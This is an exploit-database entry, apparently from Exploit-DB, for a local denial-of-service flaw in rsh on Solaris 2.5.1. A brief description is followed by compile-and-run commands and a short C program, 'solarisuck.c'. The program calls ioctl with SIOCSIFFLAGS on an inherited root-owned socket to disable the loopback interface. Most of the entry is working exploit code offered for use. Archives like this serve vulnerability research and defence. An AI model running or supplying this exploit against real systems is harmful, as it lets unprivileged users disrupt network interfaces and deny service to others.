Solaris 2.5.1 - rsh socket Descriptor

Author: Alan Cox
type: local
platform: solaris
port: nan
date_added: 1997-06-19 
date_updated: 2012-06-22 
verified: 1 
codes: OSVDB-83481 
tags: 
aliases:  
screenshot_url:  
application_url: 

// source: https://www.securityfocus.com/bid/453/info


A vulnerability in rsh exists that can allow a regular user to modify a root owned socket descriptor. The consequences of this are a possible denial of service due to interfaces being manipulated by malicious users.


cc solarisuck.c -o solarisuck -lsocket
rsh localhost ./solarisuck

------------
solarisuck.c
------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>


int main(int argc, char *argv[])
{
struct ifreq please_break_me;

strcpy( please_break_me.ifr_name, "lo0");
please_break_me.ifr_flags=0;

if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
perror("Damn it didnt work. Obviously not Solaris ;)");
}